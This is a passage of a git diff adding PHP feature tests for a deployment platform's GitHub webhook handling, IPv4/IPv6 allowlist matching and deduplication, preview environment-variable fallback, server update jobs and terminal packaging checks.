000000000..aee5239fb --- /dev/null +++ b/tests/Feature/GithubWebhookTest.php @@ -0,0 +1,70 @@ +postJson('/webhooks/source/github/events/manual', [], [ + 'X-GitHub-Event' => 'ping', + ]); + + $response->assertOk(); + $response->assertSee('pong'); + }); + + test('unsupported event type returns graceful response instead of 500', function () { + $payload = [ + 'action' => 'published', + 'registry_package' => [ + 'ecosystem' => 'CONTAINER', + 'package_type' => 'CONTAINER', + 'package_version' => [ + 'target_commitish' => 'main', + ], + ], + 'repository' => [ + 'full_name' => 'test-org/test-repo', + 'default_branch' => 'main', + ], + ]; + + $response = $this->postJson('/webhooks/source/github/events/manual', $payload, [ + 'X-GitHub-Event' => 'registry_package', + 'X-Hub-Signature-256' => 'sha256=fake', + ]); + + $response->assertOk(); + $response->assertSee('not supported'); + }); + + test('unknown event type returns graceful response', function () { + $response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [ + 'X-GitHub-Event' => 'some_unknown_event', + 'X-Hub-Signature-256' => 'sha256=fake', + ]); + + $response->assertOk(); + $response->assertSee('not supported'); + }); +}); + +describe('GitHub Normal Webhook', function () { + test('unsupported event type returns graceful response instead of 500', function () { + $payload = [ + 'action' => 'published', + 'registry_package' => [ + 'ecosystem' => 'CONTAINER', + ], + 'repository' => [ + 'full_name' => 'test-org/test-repo', + ], + ]; + + $response = $this->postJson('/webhooks/source/github/events', $payload, [ + 'X-GitHub-Event' => 'registry_package', + 'X-GitHub-Hook-Installation-Target-Id' => '12345', + 'X-Hub-Signature-256' => 'sha256=fake', + ]); + + // Should not be a 500 error - either 200 with "not supported" or "No GitHub App found" + $response->assertOk(); + }); +}); diff --git a/tests/Feature/IpAllowlistTest.php b/tests/Feature/IpAllowlistTest.php index 959dc757d..1b14b79e8 100644 --- a/tests/Feature/IpAllowlistTest.php +++ b/tests/Feature/IpAllowlistTest.php @@ -86,7 +86,7 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask }); -test('IP allowlist with various subnet sizes', function () { +test('IP allowlist with various IPv4 subnet sizes', function () { // /32 - single host expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse(); @@ -96,16 +96,98 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse(); - // /16 - class B + // /25 - half a /24 + expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse(); + + // /16 expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse(); + // /12 + expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse(); + + // /8 + expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue(); + expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse(); + // /0 - all addresses expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue(); expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue(); }); +test('IP allowlist with various IPv6 subnet sizes', function () { + // /128 - single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /127 - point-to-point link + expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse(); + + // /64 - standard subnet + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse(); + + // /48 - site prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); + + // /32 - ISP allocation + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse(); + + // /16 + expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse(); +}); + +test('IP allowlist with bare IPv6 addresses', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse(); + expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse(); +}); + +test('IP allowlist with IPv6 CIDR notation', function () { + // /64 prefix — issue #8729 exact case + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse(); + + // /128 — single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /48 prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); +}); + +test('IP allowlist with mixed IPv4 and IPv6', function () { + $allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64']; + + expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse(); + expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse(); +}); + +test('IP allowlist handles invalid IPv6 masks', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128 + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask +}); + test('IP allowlist comma-separated string input', function () { // Test with comma-separated string (as it would come from the settings) $allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16'; @@ -134,14 +216,21 @@ // Valid cases - should pass expect($validate(''))->toBeTrue(); // Empty is allowed expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed - expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP - expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR - expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR + expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4 + expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR + expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces + // IPv6 valid cases — issue #8729 + expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6 + expect($validate('::1'))->toBeTrue(); // Loopback IPv6 + expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR + expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR + expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR + expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR // Invalid cases - should fail expect($validate('1'))->toBeFalse(); // Single digit @@ -155,6 +244,7 @@ expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format expect($validate('192.168'))->toBeFalse(); // Incomplete IP expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets + expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128 }); test('ValidIpOrCidr validation rule error messages', function () { @@ -181,3 +271,111 @@ expect($error)->toContain('10.0.0.256'); expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error }); + +test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () { + // /24 + expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /16 + expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']); + // /8 + expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /32 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']); + // /31 — point-to-point + expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']); + // IP outside subnet — both preserved + expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () { + // /32 inside /24 + expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /25 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /24 inside /16 + expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']); + // /16 inside /12 + expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']); + // /16 inside /8 + expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /24 inside /8 + expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /12 inside /8 + expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']); + // /31 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // Non-overlapping CIDRs — both preserved + expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']); + expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']); +}); + +test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () { + // /64 — issue #8729 exact scenario + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64'])) + ->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']); + // /48 + expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /128 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']); + // IP outside prefix — both preserved + expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48'])) + ->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']); +}); + +test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () { + // /128 inside /64 + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']); + // /127 inside /64 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']); + // /64 inside /48 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /48 inside /32 + expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // /32 inside /16 + expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']); + // /64 inside /32 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // Non-overlapping IPv6 — both preserved + expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']); + expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']); +}); + +test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () { + $result = deduplicateAllowlist([ + '192.168.1.5', // covered by 192.168.0.0/16 + '192.168.0.0/16', + '2a01:e0a:21d:8230::1', // covered by ::/64 + '2a01:e0a:21d:8230::/64', + '10.0.0.1', // not covered by anything + '::1', // not covered by anything + ]); + expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']); +}); + +test('deduplicateAllowlist preserves non-overlapping entries', function () { + $result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); + expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist handles exact duplicates', function () { + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']); + expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']); +}); + +test('deduplicateAllowlist handles single entry and empty array', function () { + expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']); + expect(deduplicateAllowlist([]))->toBe([]); +}); + +test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () { + $result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']); + expect($result)->toBe(['0.0.0.0']); +}); + +test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () { + // IPv4: three levels of nesting + expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // IPv6: three levels of nesting + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); +}); diff --git a/tests/Feature/PreviewEnvVarFallbackTest.php b/tests/Feature/PreviewEnvVarFallbackTest.php new file mode 100644 index 000000000..e3fc3023f --- /dev/null +++ b/tests/Feature/PreviewEnvVarFallbackTest.php @@ -0,0 +1,247 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); + + $this->actingAs($this->user); +}); + +/** + * Simulate the preview .env generation logic from + * ApplicationDeploymentJob::generate_runtime_environment_variables() + * including the production fallback fix. + */ +function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection +{ + $sorted_environment_variables = $application->environment_variables->sortBy('id'); + $sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id'); + + $envs = collect([]); + + // Preview vars + $runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime); + foreach ($runtime_environment_variables_preview as $env) { + $envs->push($env->key.'='.$env->real_value); + } + + // Fallback: production vars not overridden by preview, + // only when preview vars are configured + if ($runtime_environment_variables_preview->isNotEmpty()) { + $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray(); + $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) { + return $env->is_runtime && ! in_array($env->key, $previewKeys); + }); + foreach ($fallback_production_vars as $env) { + $envs->push($env->key.'='.$env->real_value); + } + } + + return $envs; +} + +test('production vars fall back when preview vars exist but do not cover all keys', function () { + // Create two production vars (booted hook auto-creates preview copies) + EnvironmentVariable::create([ + 'key' => 'DB_PASSWORD', + 'value' => 'secret123', + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'APP_KEY', + 'value' => 'app_key_value', + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains + $this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete(); + $this->application->refresh(); + + // Preview has APP_KEY but not DB_PASSWORD + expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1); + expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0); + + $envs = simulatePreviewEnvGeneration($this->application); + + $envString = $envs->implode("\n"); + // DB_PASSWORD should fall back from production + expect($envString)->toContain('DB_PASSWORD='); + // APP_KEY should use the preview value + expect($envString)->toContain('APP_KEY='); +}); + +test('no fallback when no preview vars are configured at all', function () { + // Create a production-only var (booted hook auto-creates preview copy) + EnvironmentVariable::create([ + 'key' => 'DB_PASSWORD', + 'value' => 'secret123', + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Delete ALL preview copies — simulates no preview config + $this->application->environment_variables_preview()->delete(); + $this->application->refresh(); + + expect($this->application->environment_variables_preview()->count())->toBe(0); + + $envs = simulatePreviewEnvGeneration($this->application); + + $envString = $envs->implode("\n"); + // Should NOT fall back to production when no preview vars exist + expect($envString)->not->toContain('DB_PASSWORD='); +}); + +test('preview var overrides production var when both exist', function () { + // Create production var (auto-creates preview copy) + EnvironmentVariable::create([ + 'key' => 'DB_PASSWORD', + 'value' => 'prod_password', + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Update the auto-created preview copy with a different value + $this->application->environment_variables_preview() + ->where('key', 'DB_PASSWORD') + ->update(['value' => encrypt('preview_password')]); + + $this->application->refresh(); + $envs = simulatePreviewEnvGeneration($this->application); + + // Should contain preview value only, not production + $envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD=')); + expect($envEntries)->toHaveCount(1); + expect($envEntries->first())->toContain('preview_password'); +}); + +test('preview-only var works without production counterpart', function () { + // Create a preview-only var directly (no production counterpart) + EnvironmentVariable::create([ + 'key' => 'PREVIEW_ONLY_VAR', + 'value' => 'preview_value', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $this->application->refresh(); + $envs = simulatePreviewEnvGeneration($this->application); + + $envString = $envs->implode("\n"); + expect($envString)->toContain('PREVIEW_ONLY_VAR='); +}); + +test('buildtime-only production vars are not included in preview fallback', function () { + // Create a runtime preview var so fallback is active + EnvironmentVariable::create([ + 'key' => 'SOME_PREVIEW_VAR', + 'value' => 'preview_value', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Create a buildtime-only production var + EnvironmentVariable::create([ + 'key' => 'BUILD_SECRET', + 'value' => 'build_only', + 'is_preview' => false, + 'is_runtime' => false, + 'is_buildtime' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Delete the auto-created preview copy of BUILD_SECRET + $this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete(); + $this->application->refresh(); + + $envs = simulatePreviewEnvGeneration($this->application); + + $envString = $envs->implode("\n"); + expect($envString)->not->toContain('BUILD_SECRET'); + expect($envString)->toContain('SOME_PREVIEW_VAR='); +}); + +test('preview env var inherits is_runtime and is_buildtime from production var', function () { + // Create production var WITH explicit flags + EnvironmentVariable::create([ + 'key' => 'DB_PASSWORD', + 'value' => 'secret123', + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $preview = EnvironmentVariable::where('key', 'DB_PASSWORD') + ->where('is_preview', true) + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($preview)->not->toBeNull(); + expect($preview->is_runtime)->toBeTrue(); + expect($preview->is_buildtime)->toBeTrue(); +}); + +test('preview env var gets correct defaults when production var created without explicit flags', function () { + // Simulate code paths (docker-compose parser, dev view bulk submit) that create + // env vars without explicitly setting is_runtime/is_buildtime + EnvironmentVariable::create([ + 'key' => 'DB_PASSWORD', + 'value' => 'secret123', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $preview = EnvironmentVariable::where('key', 'DB_PASSWORD') + ->where('is_preview', true) + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($preview)->not->toBeNull(); + expect($preview->is_runtime)->toBeTrue(); + expect($preview->is_buildtime)->toBeTrue(); +}); diff --git a/tests/Feature/PushServerUpdateJobLastOnlineTest.php b/tests/Feature/PushServerUpdateJobLastOnlineTest.php new file mode 100644 index 000000000..5d2fd6c6a --- /dev/null +++ b/tests/Feature/PushServerUpdateJobLastOnlineTest.php @@ -0,0 +1,101 @@ +create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + 'last_online_at' => now()->subMinutes(5), + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $oldLastOnline = $database->last_online_at; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // last_online_at should be updated even though status didn't change + expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue(); + expect($database->status)->toBe('running:healthy'); +}); + +test('database status is updated when container status changes', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'exited', + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + expect($database->status)->toBe('running:healthy'); +}); + +test('database is not marked exited when containers list is empty', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + ]); + + $server = $database->destination->server; + + // Empty containers = Sentinel might have failed, should NOT mark as exited + $data = [ + 'containers' => [], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // Status should remain running, NOT be set to exited + expect($database->status)->toBe('running:healthy'); +}); diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php new file mode 100644 index 000000000..eb51059db --- /dev/null +++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php @@ -0,0 +1,150 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 45; + }); +}); + +it('does not dispatch storage check when disk percentage is unchanged', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached the percentage + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertNotPushed(ServerStorageCheckJob::class); +}); + +it('dispatches storage check when disk percentage changes from cached value', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached 45% + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 50], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 50; + }); +}); + +it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + // First push: should dispatch ConnectProxyToNetworksJob + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited) + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertNotPushed(ConnectProxyToNetworksJob::class); +}); + +it('dispatches ConnectProxyToNetworksJob again after cache expires', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + // First push + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Clear cache to simulate expiration + Cache::forget('connect-proxy:'.$server->id); + + // Next push: should dispatch again + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); +}); + +it('uses default queue for PushServerUpdateJob', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $job = new PushServerUpdateJob($server, ['containers' => []]); + + expect($job->queue)->toBeNull(); +}); diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php new file mode 100644 index 000000000..e8fa5ff76 --- /dev/null +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -0,0 +1,34 @@ +toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js'); +}); + +it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) { + $composeContents = file_get_contents(base_path($composeFile)); + + expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js'); +})->with([ + 'default dev compose' => 'docker-compose.dev.yml', + 'maxio dev compose' => 'docker-compose-maxio.dev.yml', +]); + +it('keeps terminal browser logging restricted to Vite development mode', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('const terminalDebugEnabled = import.meta.env.DEV;') + ->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');") + ->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');"); +}); + +it('keeps realtime terminal server logging restricted to development environments', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain("const 